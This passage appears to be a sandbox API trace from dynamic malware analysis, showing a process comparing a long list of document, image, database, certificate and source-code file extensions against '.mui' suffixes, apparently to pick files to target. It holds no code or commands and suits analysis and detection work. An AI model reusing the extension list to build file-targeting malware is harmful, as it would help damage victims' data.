returned 4 [0040.404] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0040.404] lstrlenW (lpString=".adp") returned 4 [0040.404] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0040.404] lstrlenW (lpString=".ai") returned 3 [0040.404] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0040.404] lstrlenW (lpString=".ai3") returned 4 [0040.404] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0040.404] lstrlenW (lpString=".ai4") returned 4 [0040.404] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0040.404] lstrlenW (lpString=".ai5") returned 4 [0040.404] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0040.404] lstrlenW (lpString=".ai6") returned 4 [0040.404] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0040.404] lstrlenW (lpString=".ai7") returned 4 [0040.404] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0040.404] lstrlenW (lpString=".ai8") returned 4 [0040.404] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0040.404] lstrlenW (lpString=".anim") returned 5 [0040.404] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0040.404] lstrlenW (lpString=".arw") returned 4 [0040.405] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0040.405] lstrlenW (lpString=".as") returned 3 [0040.405] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0040.405] lstrlenW (lpString=".asa") returned 4 [0040.405] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0040.405] lstrlenW (lpString=".asc") returned 4 [0040.405] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0040.405] lstrlenW (lpString=".ascx") returned 5 [0040.405] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0040.405] lstrlenW (lpString=".asm") returned 4 [0040.405] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0040.405] lstrlenW (lpString=".asmx") returned 5 [0040.405] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0040.405] lstrlenW (lpString=".asp") returned 4 [0040.405] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0040.405] lstrlenW (lpString=".aspx") returned 5 [0040.405] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0040.405] lstrlenW (lpString=".asr") returned 4 [0040.405] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0040.405] lstrlenW (lpString=".asx") returned 4 [0040.405] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0040.405] lstrlenW (lpString=".avi") returned 4 [0040.405] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0040.405] lstrlenW (lpString=".avs") returned 4 [0040.405] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0040.405] lstrlenW (lpString=".backup") returned 7 [0040.405] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0040.405] lstrlenW (lpString=".bak") returned 4 [0040.406] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0040.406] lstrlenW (lpString=".bay") returned 4 [0040.406] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0040.406] lstrlenW (lpString=".bd") returned 3 [0040.406] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0040.406] lstrlenW (lpString=".bin") returned 4 [0040.406] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0040.406] lstrlenW (lpString=".bmp") returned 4 [0040.406] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0040.406] lstrlenW (lpString=".bz2") returned 4 [0040.406] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0040.406] lstrlenW (lpString=".c") returned 2 [0040.406] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0040.406] lstrlenW (lpString=".cdr") returned 4 [0040.406] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0040.406] lstrlenW (lpString=".cer") returned 4 [0040.406] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0040.406] lstrlenW (lpString=".cf") returned 3 [0040.406] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0040.406] lstrlenW (lpString=".cfc") returned 4 [0040.406] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0040.406] lstrlenW (lpString=".cfm") returned 4 [0040.406] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0040.406] lstrlenW (lpString=".cfml") returned 5 [0040.406] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0040.406] lstrlenW (lpString=".cfu") returned 4 [0040.406] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0040.406] lstrlenW (lpString=".chm") returned 4 [0040.406] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0040.407] lstrlenW (lpString=".cin") returned 4 [0040.407] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0040.407] lstrlenW (lpString=".class") returned 6 [0040.407] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0040.407] lstrlenW (lpString=".clx") returned 4 [0040.407] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0040.407] lstrlenW (lpString=".config") returned 7 [0040.407] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0040.407] lstrlenW (lpString=".cpp") returned 4 [0040.407] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0040.407] lstrlenW (lpString=".cr2") returned 4 [0040.407] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0040.407] lstrlenW (lpString=".crt") returned 4 [0040.407] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0040.407] lstrlenW (lpString=".crw") returned 4 [0040.407] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0040.407] lstrlenW (lpString=".cs") returned 3 [0040.407] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0040.407] lstrlenW (lpString=".css") returned 4 [0040.407] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0040.407] lstrlenW (lpString=".csv") returned 4 [0040.407] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0040.407] lstrlenW (lpString=".cub") returned 4 [0040.407] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0040.407] lstrlenW (lpString=".dae") returned 4 [0040.407] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0040.407] lstrlenW (lpString=".dat") returned 4 [0040.407] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0040.408] lstrlenW (lpString=".db") returned 3 [0040.408] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0040.408] lstrlenW (lpString=".dbf") returned 4 [0040.408] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0040.408] lstrlenW (lpString=".dbx") returned 4 [0040.408] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0040.408] lstrlenW (lpString=".dc3") returned 4 [0040.408] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0040.408] lstrlenW (lpString=".dcm") returned 4 [0040.408] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0040.408] lstrlenW (lpString=".dcr") returned 4 [0040.408] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0040.408] lstrlenW (lpString=".der") returned 4 [0040.408] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0040.408] lstrlenW (lpString=".dib") returned 4 [0040.408] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0040.408] lstrlenW (lpString=".dic") returned 4 [0040.408] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0040.408] lstrlenW (lpString=".dif") returned 4 [0040.408] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0040.408] lstrlenW (lpString=".divx") returned 5 [0040.408] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0040.408] lstrlenW (lpString=".djvu") returned 5 [0040.408] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0040.408] lstrlenW (lpString=".dng") returned 4 [0040.408] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0040.408] lstrlenW (lpString=".doc") returned 4 [0040.408] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0040.409] lstrlenW (lpString=".docm") returned 5 [0040.409] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0040.409] lstrlenW (lpString=".docx") returned 5 [0040.409] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0040.409] lstrlenW (lpString=".dot") returned 4 [0040.409] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0040.409] lstrlenW (lpString=".dotm") returned 5 [0040.409] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0040.409] lstrlenW (lpString=".dotx") returned 5 [0040.409] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0040.409] lstrlenW (lpString=".dpx") returned 4 [0040.409] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0040.409] lstrlenW (lpString=".dqy") returned 4 [0040.409] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0040.409] lstrlenW (lpString=".dsn") returned 4 [0040.409] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0040.409] lstrlenW (lpString=".dt") returned 3 [0040.409] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0040.409] lstrlenW (lpString=".dtd") returned 4 [0040.409] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0040.409] lstrlenW (lpString=".dwg") returned 4 [0040.409] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0040.409] lstrlenW (lpString=".dwt") returned 4 [0040.409] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0040.409] lstrlenW (lpString=".dx") returned 3 [0040.409] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0040.409] lstrlenW (lpString=".dxf") returned 4 [0040.409] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0040.410] lstrlenW (lpString=".edml") returned 5 [0040.410] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0040.410] lstrlenW (lpString=".efd") returned 4 [0040.410] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0040.410] lstrlenW (lpString=".elf") returned 4 [0040.410] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0040.410] lstrlenW (lpString=".emf") returned 4 [0040.410] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0040.410] lstrlenW (lpString=".emz") returned 4 [0040.410] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0040.410] lstrlenW (lpString=".epf") returned 4 [0040.410] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0040.410] lstrlenW (lpString=".eps") returned 4 [0040.410] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0040.410] lstrlenW (lpString=".epsf") returned 5 [0040.410] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0040.410] lstrlenW (lpString=".epsp") returned 5 [0040.410] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0040.410] lstrlenW (lpString=".erf") returned 4 [0040.410] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0040.410] lstrlenW (lpString=".exr") returned 4 [0040.410] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0040.410] lstrlenW (lpString=".f4v") returned 4 [0040.410] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0040.410] lstrlenW (lpString=".fido") returned 5 [0040.410] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0040.410] lstrlenW (lpString=".flm") returned 4 [0040.410] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0040.411] lstrlenW (lpString=".flv") returned 4 [0040.411] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0040.411] lstrlenW (lpString=".frm") returned 4 [0040.411] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0040.411] lstrlenW (lpString=".fxg") returned 4 [0040.411] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0040.411] lstrlenW (lpString=".geo") returned 4 [0040.411] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0040.411] lstrlenW (lpString=".gif") returned 4 [0040.411] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0040.411] lstrlenW (lpString=".grs") returned 4 [0040.411] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0040.411] lstrlenW (lpString=".gz") returned 3 [0040.411] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0040.411] lstrlenW (lpString=".h") returned 2 [0040.411] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0040.411] lstrlenW (lpString=".hdr") returned 4 [0040.411] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0040.411] lstrlenW (lpString=".hpp") returned 4 [0040.411] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0040.411] lstrlenW (lpString=".hta") returned 4 [0040.411] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0040.411] lstrlenW (lpString=".htc") returned 4 [0040.411] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0040.412] lstrlenW (lpString=".htm") returned 4 [0040.412] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0040.412] lstrlenW (lpString=".html") returned 5 [0040.412] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0040.412] lstrlenW (lpString=".icb") returned 4 [0040.412] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0040.412] lstrlenW (lpString=".ics") returned 4 [0040.412] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0040.412] lstrlenW (lpString=".iff") returned 4 [0040.412] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0040.412] lstrlenW (lpString=".inc") returned 4 [0040.412] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0040.412] lstrlenW (lpString=".indd") returned 5 [0040.412] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0040.412] lstrlenW (lpString=".ini") returned 4 [0040.412] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0040.412] lstrlenW (lpString=".iqy") returned 4 [0040.412] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0040.413] lstrlenW (lpString=".j2c") returned 4 [0040.413] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0040.413] lstrlenW (lpString=".j2k") returned 4 [0040.413] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0040.413] lstrlenW (lpString=".java") returned 5 [0040.413] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0040.413] lstrlenW (lpString=".jp2") returned 4 [0040.413] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0040.413] lstrlenW (lpString=".jpc") returned 4 [0040.413] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0040.413] lstrlenW (lpString=".jpe") returned 4 [0040.413] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0040.413] lstrlenW (lpString=".jpeg") returned 5 [0040.413] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0040.413] lstrlenW (lpString=".jpf") returned 4 [0040.413] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0040.413] lstrlenW (lpString=".jpg") returned 4 [0040.413] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0040.413] lstrlenW (lpString=".jpx") returned 4 [0040.413] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0040.413] lstrlenW (lpString=".js") returned 3 [0040.413] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0040.413] lstrlenW (lpString=".jsf") returned 4 [0040.413] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0040.413] lstrlenW (lpString=".json") returned 5 [0040.413] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0040.413] lstrlenW (lpString=".jsp") returned 4 [0040.413] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0040.414] lstrlenW (lpString=".kdc") returned 4 [0040.414] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0040.414] lstrlenW (lpString=".kmz") returned 4 [0040.414] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0040.414] lstrlenW (lpString=".kwm") returned 4 [0040.414] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0040.414] lstrlenW (lpString=".lasso") returned 6 [0040.414] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0040.414] lstrlenW (lpString=".lbi") returned 4 [0040.414] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0040.414] lstrlenW (lpString=".lgf") returned 4 [0040.414] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0040.414] lstrlenW (lpString=".lgp") returned 4 [0040.414] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0040.414] lstrlenW (lpString=".log") returned 4 [0040.414] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0040.414] lstrlenW (lpString=".m1v") returned 4 [0040.414] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0040.414] lstrlenW (lpString=".m4a") returned 4 [0040.414] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0040.414] lstrlenW (lpString=".m4v") returned 4 [0040.414] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0040.414] lstrlenW (lpString=".max") returned 4 [0040.414] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0040.414] lstrlenW (lpString=".md") returned 3 [0040.414] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0040.414] lstrlenW (lpString=".mda") returned 4 [0040.414] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0040.415] lstrlenW (lpString=".mdb") returned 4 [0040.415] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0040.415] lstrlenW (lpString=".mde") returned 4 [0040.415] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0040.415] lstrlenW (lpString=".mdf") returned 4 [0040.415] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0040.415] lstrlenW (lpString=".mdw") returned 4 [0040.415] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0040.415] lstrlenW (lpString=".mef") returned 4 [0040.415] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0040.415] lstrlenW (lpString=".mft") returned 4 [0040.415] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0040.415] lstrlenW (lpString=".mfw") returned 4 [0040.415] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0040.415] lstrlenW (lpString=".mht") returned 4 [0040.415] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0040.415] lstrlenW (lpString=".mhtml") returned 6 [0040.415] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0040.415] lstrlenW (lpString=".mka") returned 4 [0040.415] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0040.415] lstrlenW (lpString=".mkidx") returned 6 [0040.415] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0040.415] lstrlenW (lpString=".mkv") returned 4 [0040.415] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0040.415] lstrlenW (lpString=".mos") returned 4 [0040.415] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0040.415] lstrlenW (lpString=".mov") returned 4 [0040.415] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0040.416] lstrlenW (lpString=".mp3") returned 4 [0040.416] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0040.416] lstrlenW (lpString=".mp4") returned 4 [0040.416] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0040.416] lstrlenW (lpString=".mpeg") returned 5 [0040.416] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0040.416] lstrlenW (lpString=".mpg") returned 4 [0040.416] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0040.416] lstrlenW (lpString=".mpv") returned 4 [0040.416] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0040.416] lstrlenW (lpString=".mrw") returned 4 [0040.416] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0040.416] lstrlenW (lpString=".msg") returned 4 [0040.416] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0040.416] lstrlenW (lpString=".mxl") returned 4 [0040.416] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0040.416] lstrlenW (lpString=".myd") returned 4 [0040.416] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0040.416] lstrlenW (lpString=".myi") returned 4 [0040.416] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0040.416] lstrlenW (lpString=".nef") returned 4 [0040.416] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0040.416] lstrlenW (lpString=".nrw") returned 4 [0040.416] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0040.416] lstrlenW (lpString=".obj") returned 4 [0040.416] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0040.416] lstrlenW (lpString=".odb") returned 4 [0040.416] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0040.417] lstrlenW (lpString=".odc") returned 4 [0040.417] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0040.417] lstrlenW (lpString=".odm") returned 4 [0040.417] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0040.417] lstrlenW (lpString=".odp") returned 4 [0040.417] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0040.417] lstrlenW (lpString=".ods") returned 4 [0040.417] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0040.417] lstrlenW (lpString=".oft") returned 4 [0040.417] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0040.417] lstrlenW (lpString=".one") returned 4 [0040.417] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0040.417] lstrlenW (lpString=".onepkg") returned 7 [0040.417] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0040.417] lstrlenW (lpString=".onetoc2") returned 8 [0040.417] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0040.417] lstrlenW (lpString=".opt") returned 4 [0040.417] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0040.417] lstrlenW (lpString=".oqy") returned 4 [0040.417] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0040.417] lstrlenW (lpString=".orf") returned 4 [0040.417] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0040.417] lstrlenW (lpString=".p12") returned 4 [0040.417] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0040.417] lstrlenW (lpString=".p7b") returned 4 [0040.417] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0040.417] lstrlenW (lpString=".p7c") returned 4 [0040.417] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0040.418] lstrlenW (lpString=".pam") returned 4 [0040.418] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0040.418] lstrlenW (lpString=".pbm") returned 4 [0040.418] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0040.418] lstrlenW (lpString=".pct") returned 4 [0040.418] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0040.418] lstrlenW (lpString=".pcx") returned 4 [0040.418] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0040.418] lstrlenW (lpString=".pdd") returned 4 [0040.418] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0040.418] lstrlenW (lpString=".pdf") returned 4 [0040.418] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0040.418] lstrlenW (lpString=".pdp") returned 4 [0040.418] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0040.418] lstrlenW (lpString=".pef") returned 4 [0040.418] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0040.418] lstrlenW (lpString=".pem") returned 4 [0040.418] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0040.418] lstrlenW (lpString=".pff") returned 4 [0040.418] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0040.418] lstrlenW (lpString=".pfm") returned 4 [0040.418] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0040.418] lstrlenW (lpString=".pfx") returned 4 [0040.418] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0040.418] lstrlenW (lpString=".pgm") returned 4 [0040.418] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0040.418] lstrlenW (lpString=".php") returned 4 [0040.418] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0040.419] lstrlenW (lpString=".php3") returned 5 [0040.419] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0040.419] lstrlenW (lpString=".php4") returned 5 [0040.419] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0040.419] lstrlenW (lpString=".php5") returned 5 [0040.419] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0040.419] lstrlenW (lpString=".phtml") returned 6 [0040.419] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0040.419] lstrlenW (lpString=".pict") returned 5 [0040.419] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0040.419] lstrlenW (lpString=".pl") returned 3 [0040.419] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0040.419] lstrlenW (lpString=".pls") returned 4 [0040.419] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0040.419] lstrlenW (lpString=".pm") returned 3 [0040.419] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0040.419] lstrlenW (lpString=".png") returned 4 [0040.419] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0040.419] lstrlenW (lpString=".pnm") returned 4 [0040.419] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0040.419] lstrlenW (lpString=".pot") returned 4 [0040.419] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0040.419] lstrlenW (lpString=".potm") returned 5 [0040.419] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0040.419] lstrlenW (lpString=".potx") returned 5 [0040.419] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0040.419] lstrlenW (lpString=".ppa") returned 4 [0040.419] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0040.420] lstrlenW (lpString=".ppam") returned 5 [0040.420] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0040.420] lstrlenW (lpString=".ppm") returned 4 [0040.420] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0040.420] lstrlenW (lpString=".pps") returned 4 [0040.420] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0040.420] lstrlenW (lpString=".ppsm") returned 5 [0040.420] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0040.420] lstrlenW (lpString=".ppt") returned 4 [0040.420] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0040.420] lstrlenW (lpString=".pptm") returned 5 [0040.420] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0040.420] lstrlenW (lpString=".pptx") returned 5 [0040.420] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0040.420] lstrlenW (lpString=".prn") returned 4 [0040.420] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0040.420] lstrlenW (lpString=".ps") returned 3 [0040.420] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0040.420] lstrlenW (lpString=".psb") returned 4 [0040.420] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0040.420] lstrlenW (lpString=".psd") returned 4 [0040.420] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0040.420] lstrlenW (lpString=".pst") returned 4 [0040.420] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0040.420] lstrlenW (lpString=".ptx") returned 4 [0040.420] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0040.420] lstrlenW (lpString=".pub") returned 4 [0040.420] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0040.421] lstrlenW (lpString=".pwm") returned 4 [0040.421] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0040.421] lstrlenW (lpString=".pxr") returned 4 [0040.421] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0040.421] lstrlenW (lpString=".py") returned 3 [0040.421] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0040.421] lstrlenW (lpString=".qt") returned 